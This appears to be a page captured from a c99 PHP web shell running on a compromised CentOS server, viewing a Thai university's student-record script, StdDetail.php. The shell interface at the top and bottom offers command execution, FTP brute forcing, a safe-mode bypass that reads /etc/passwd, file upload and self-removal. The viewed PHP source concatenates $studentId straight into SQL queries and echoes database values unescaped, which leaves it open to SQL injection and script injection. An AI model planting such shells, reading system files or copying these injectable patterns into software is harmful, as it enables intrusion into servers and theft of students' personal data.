!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StdDetail.php (10.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../includes/FunctionDB.php");
include(
"admin_menu.php");
include(
"../includes/Function.php");
ConnectDB();
$sql1 "Select * From StudentMaster  Where  studentId='$studentId' ";     
$result1 mysql_query($sql1) or die(" Error".mysql_error());
$rs mysql_fetch_array($result1);
$row mysql_fetch_array($result1);
$sql "Select * From StudentBio  Where  studentId='$studentId' ";     
$result mysql_query($sql) or die(" Error".mysql_error());
$rss mysql_fetch_array($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="./source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {
    font-size: 14px;
    font-weight: bold;
}
.style2 {font-size: 14px}
-->
</style>
<table width="782" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="782" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Std_Acc.php">หน้าหลัก</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="StudentList.php">ข้อมูลนักศึกษา</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> ข้อมูลนักศึกษา</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="">
    <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0" style="border:0px solid gray">
      <tr bgcolor="#EFF5FC">
        <td colspan="2" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
      </tr>
      <tr bgcolor="#EFF5FC">
        <td colspan="2" bgcolor="#FFFFFF"><div align="center" class="style2"><font face="Tahoma">ข้อมูลนักศึกษา</font></div></td>
      </tr>
      <tr bgcolor="#EFF5FC">
        <td colspan="2" bgcolor="#FFFFFF"><div align="center" class="style1"></div></td>
      </tr>
      <tr>
        <td width="83%"><table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#FFFFFF">
            <tr>
              <td width="25%" bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font color="#003366" face="Tahoma">รหัส</font></div>
              </div></td>
              <td width="75%" bgcolor="#FFFFFF"><strong><font color="#000000" size="2" face="Tahoma">
                <?=$rs["studentCode"]?>
              </font></strong></td>
            </tr>
            <tr>
              <td bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font color="#003366" face="Tahoma">ชื่อ-นามสกุล</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#003300" size="2" face="Tahoma">
                <?php
               $prefixId 
=  $rs[prefixId];
               
$sql3"Select * From Prefix  Where prefixId='$prefixId'";
               
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs3 mysql_fetch_array($result3);
               echo
"$rs3[prefixName]";
               
?>
              </font><font color="#990099" size="2" face="Tahoma"><a href="./menu_std.php?studentId=<?=$rs["studentId"]?>" title="Click to see Detail"  class="d">
              <?=$rs["studentName"]?>
              <?=$rs["studentSurname"]?>
              </a></font></td>
            </tr>
            <tr>
              <td height="18" bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font color="#003366" face="Tahoma">หลักสูตร</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#003300" size="2" face="Tahoma">&nbsp;
                </font><font color="#000000" size="2" face="Tahoma">
                <?php
              $programId 
=  $rs[programId];
               
$sql2"Select * From  Program   Where  programId='$programId' ";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[programName]";
               
?>
                </font><font color="#003300" size="2" face="Tahoma">                รุ่น </font><font color="#990099" size="2" face="Tahoma">
                  <?=$rs["Class"]?>
                </font><font color="#000000" size="2" face="Tahoma">
                <?php
              $programId 
=  $rs[programId];
               
$sql2"Select * From  Generation   Where  programId='$programId' ";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[genNo]";
               
?>
                </font></td>
            </tr>
            <tr>
              <td bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font face="Tahoma">วันเกิด</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#990099" size="2" face="Tahoma">
                <?=$rs["DateBirth"]?>
              </font><font color="#003366" size="2" face="Tahoma">
              <?php 
       $sday 
$rss[birthDate];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
              </font></td>
            </tr>
            <tr>
              <td bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font face="Tahoma">อายุ</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">
                <?php //// Show Age
                             
$studentId =  $rs[studentId];
                               
$sql4"Select * From  StudentBio   Where  studentId='$studentId' ";
                               
$result4 mysql_query($sql4) or die("Error Select".mysql_query());
                               
$rs4 mysql_fetch_array($result4);        
                              
$age =  $rs4[birthDate];
                              
$year =  explode("-",$age);
                              
$year =   intval($year[0]);    
                             
$year $year 543;
                             
$currentyear date("Y");
                             
$currentyear =   intval($currentyear);          
                            
$age $currentyear $year ;
                              echo
"$age";
      
?>
              </font><font color="#000000" size="2" face="Tahoma">ปี</font></td>
            </tr>
            <tr bgcolor="#FFFEF4">
              <td bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font face="Tahoma">ศาสนา</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#990099" size="2" face="Tahoma">
                <?=$rs["Religion"]?>
              </font><font color="#000000" size="2" face="Tahoma">
              <?php
              $religionId  
=  $rss[religionId];
               
$sql2"Select * From  Religion    Where  religionId ='$religionId' ";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[religionName]";
               
?>
              </font><font color="#003366" size="2" face="Tahoma">&nbsp; </font></td>
            </tr>
            <tr bgcolor="#FFFEF4">
              <td height="21" bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font face="Tahoma">ที่อยู่</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#990099" size="2" face="Tahoma">
                <?=$rss["homeAddress"]?>
              </font><font color="#003300" size="2" face="Tahoma">
              <?php
               $homeDistrictId 
=  $rss[homeDistrictId];
               
$sql3"Select * From  District   Where  districtId='$homeDistrictId'";
               
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs3 mysql_fetch_array($result3);
               echo
"ต.$rs3[districtName]";
               
?>
              <?php
               $homeAmphurId 
=  $rss[homeAmphurId];
               
$sql3"Select * From  Amphur   Where  amphurId='$homeAmphurId'";
               
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs3 mysql_fetch_array($result3);
               echo
"อ.$rs3[amphurName]";
               
?>
              <?php
               $homeProvinceId 
=  $rss[homeProvinceId];
               
$sql3"Select * From  Province   Where  provinceId='$homeProvinceId'";
               
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs3 mysql_fetch_array($result3);
               echo
"จ.$rs3[provinceName]";
               
?>
</font><font color="#990099" size="2" face="Tahoma">
<?=$rss["homeZipcode"]?>
</font></td>
            </tr>
            <tr bgcolor="#FFFEF4">
              <td height="18" bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font face="Tahoma">สถานที่พัก</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#990099" size="2" face="Tahoma">
                <?=$rs["Address_cur"]?>
              </font></td>
            </tr>
            <tr bgcolor="#FFFEF4">
              <td height="18" bgcolor="#FFFFFF"><div align="center" class="style2">
                <div align="left"><font face="Tahoma">การเข้าร่วมกิจกรรม/ชมรม</font></div>
              </div></td>
              <td bgcolor="#FFFFFF"><font color="#990099" size="2" face="Tahoma">
                <?=$rs["Circle"]?>
              </font></td>
            </tr>
        </table></td>
        <td width="17%" colspan="-2" bgcolor="#FFFFFF"><table width="101" border="2" align="center" cellpadding="0" cellspacing="2" bordercolor="#0000FF">
          <tr>
            <td width="91"><div align="center">
                <?php
        
echo"<center>";
        echo
"<img src=\"$rss[picturePath]\" width=\"110\" height=\"130\" >";
        echo
"</center>";
       
?>
            </div></td>
          </tr>
        </table></td>
      </tr>
      <tr bgcolor="#EFF5FC">
        <td colspan="2" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
    </table>
    </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0147 ]--